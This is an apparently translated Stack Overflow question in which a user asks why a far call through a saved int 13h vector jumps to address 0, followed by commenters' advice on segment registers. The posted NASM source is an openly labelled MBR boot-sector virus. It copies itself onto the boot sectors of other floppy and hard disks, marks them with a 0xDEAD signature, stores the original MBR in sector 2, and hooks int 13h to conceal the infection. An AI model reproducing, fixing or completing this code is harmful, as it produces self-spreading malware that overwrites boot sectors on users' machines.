【发布时间】:2016-09-24 22:17:31
【问题描述】:
我正在 MBR(16 位)中编写一个 int 13h 挂钩。我将旧的 int 向量保存为:
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
因为我在运行时重新定位了代码,所以我必须计算 oldint13 变量的正确位置。一切都很好,当我检查重定位的 oldint13 变量的位置时,有正确的地址(0xf000e3f3)。现在,在我挂钩 int 13h 之后,我想将原始 int 13h 处理程序调用为:
call [oldint13-cpy_original+0x7e00]
但它会跳转到地址 0。如果我进行检查:
mov ax, [oldint13-cpy_original+0x7e00]
ax 变为 0。 (oldint13-cpy_original+0x7e00) 正确解析为正确的地址,并且该地址仍包含正确的原始 int 13h 向量。甚至反汇编代码显示:
mov ax, [0x7e48]
这是正确的。
为什么它返回 0 呢? 16位有什么问题吗?
我的引导加载程序代码的完整副本如下:
[bits 16]
org 0x7c00
start:
cli ; no interrupt zone
mov BYTE [bootDrive], dl ; save boot drive, this is infected drive
mov sp, 0xFFF8 ; stack pointer
xor ax, ax
mov ds, ax
mov es, ax
; let's save infected mbr to location 0x7e00
mov al, 0x01 ; load 1 sector
mov ah, 0x02 ; read sector
mov bx, 0x7e00 ; destination address + ES
mov cx, 0x0001 ; cylinder 0, sector=1
xor dh, dh ; head 0
call wr_sector
; TODO: read from 0x7c00!!!!
; now it's time to iterate through disks
xor di, di ; our disk counter
dsk_lp:
mov dl, [disk_codes+di] ; load disk code from our table
cmp dl, [bootDrive] ; check if this is our infected drive
je nxt_disk ; this is our drive, just go to the next one
mov ah, 0x02 ; read sector
mov cx, 0x0001 ; cylinder 0, sector=1
mov bx, 0x8000 ; load original mbr to 0x8000
call wr_sector
jc nxt_disk ; if carry is set, disk doesn't exist (most likely)
add bx, sig ; check if this drive is already signed
sub bx, 0x7c00 ; calculated offset for signature
cmp word [bx], 0xDEAD ; compare with our signature 0xDEAD
je nxt_disk ; if already signed, jump to next disk
mov ah, 0x03 ; dirty business, copy our infected mbr to new drive
mov bx, 0x7e00 ; we copied infected mbr to 0x7e00 earlier
call wr_sector ; perform write
mov ah, 0x03
mov cx, 0x0002 ; write original mbr to 2nd sector
mov bx, 0x8000 ; we saved sector to 0x8000
call wr_sector ; perform write
nxt_disk:
inc di ; increment our counter
cmp di, 0x04 ; we are over the available disks
jl dsk_lp ; jump if lower than 4
; now we'll copy back original MBR and jump to it
; we have to relocate ourselves to 0x7e00, so we don't overwrite when copying
; original MBR
relocate:
mov dl, [bootDrive] ; retrieve current boot drive
mov si, cpy_original ; source address
mov di, 0x7e00 ; destination address, 0x7e00 in our case
mov cx, end_cpy ; load end of code address
sub cx, cpy_original ; subtract start of code, cx = code length
rep movsb ; copy stuff from source to dest address
jmp 0x7e00 ; jump to new address
; this code resides on 0x7e00 after copying
cpy_original: ; this code will copy original MBR to 0x7c00
mov ah, 0x02 ; read sector, ah = 0x02
mov cx, 0x0002 ; read 2nd sector
mov bx, 0x7c00 ; dest address
call wr_sector ; copy orignal MBR
; before we jump into org mbr, let's hook int 13h
mov ax, word [0x13*4]
mov bx, word [0x13*4+2]
mov [oldint13-cpy_original+0x7e00], ax
mov [oldint13-cpy_original+0x7e00+2], bx
mov ax, dsk_hook
sub ax, cpy_original
add ax, 0x7e00
mov word [0x13*4], ax
mov word [0x13*4+2], 0
;mov ah, 0x02
;mov al, 0x01
;mov cx, 0x0001
;mov bx, 0x8000
;call wr_sector
mov ax, 0xaa55
jmp 0x0:0x7c00 ; far jump to the original MBR
dsk_hook:
nop
pushf
cmp ah, 0x02
jne .end_hook
cmp cx, 0x0001
jne .end_hook
mov cx, 0x0002
.end_hook:
popf
;mov ax, [cs:oldint13-cpy_original+0x7e00]
call [cs:oldint13-cpy_original+0x7e00]
;call 0xe3fe
nop
;mov ax, ax
ret
oldint13:
dd 45 ; var for saving int13 address
; write/read sector on disk, based on
; ah = 0x02 read, ah = 0x03 write
; dl = disk number
wr_sector:
mov si, 0x03 ; max number of attempts to read from drive
.lprs:
int 0x13
jnc .endrs ; alright carry was not set, read was successful
dec si ; decrement counter
jc .endrs
pusha
xor ah, ah ; ah = 0, reset disk
int 0x13 ; reset disk, we have to try this at most 3 times
popa
jmp .lprs
.endrs:
retn
end_cpy: ; end of code for copying original MBR
times (218 - ($-$$)) nop ; Pad for disk time stamp
DiskTimeStamp times 8 db 0 ; Disk Time Stamp
bootDrive db 0 ; Our Drive Number Variable
disk_codes: ; available drives variable
db 0x0 ; first floppy disk
db 0x1 ; second floppy disk
db 0x80 ; first hard disk
db 0x81 ; second hard disk
sig dw 0xDEAD
times (0x1b4 - ($-$$)) nop ; Pad For MBR Partition Table
UID times 10 db 0 ; Unique Disk ID
PT1 times 16 db 0 ; First Partition Entry
PT2 times 16 db 0 ; Second Partition Entry
PT3 times 16 db 0 ; Third Partition Entry
PT4 times 16 db 0 ; Fourth Partition Entry
dw 0xAA55 ; Boot Signature
【问题讨论】:
-
我假设重新定位您的意思是您将 512 个字节从 0x7c00 复制到 0x7e00?
cpy_original是什么?如果您只是提供了整个引导加载程序(无法想象它有那么大),那将会有所帮助。关于重新定位引导加载程序的主题,您可以通过遵循这个想法I recently posted 到另一个 SO 问题(关于 MBR 重新定位)来避免很多麻烦。这种方法将避免对变量偏移进行调整。我提供了2个答案。涉及 ORG 0x0000 的问题可能最容易考虑。 -
我对您调用旧中断向量的一个担忧是
call [oldint13-cpy_original+0x7e00]实际上是call [DS:oldint13-cpy_original+0x7e00]。 DS 在您的中断处理程序中是否正确?如果你用CS:覆盖它会发生什么?我怀疑您的 DS 段在中断处理程序中不是 0x0000,如果它不是 - 您将读取从错误的内存位置跳转到的地址。 -
显示您的完整代码。否则我们只是猜测问题所在。
-
去年有一个人写了一个中断处理程序(在引导加载程序中),我对此做出了回应。他没有进行重定位,但我确实从中断处理程序中讨论了 DS 问题并访问内存位置。不确定是否有任何价值,但你可以找到答案here
-
我创建了 repo link 虽然现在一团糟。我正在阅读您的链接,抱歉回复晚了。从表面上看,我缺乏一些关于细分和东西的知识。
标签: assembly nasm interrupt bios mbr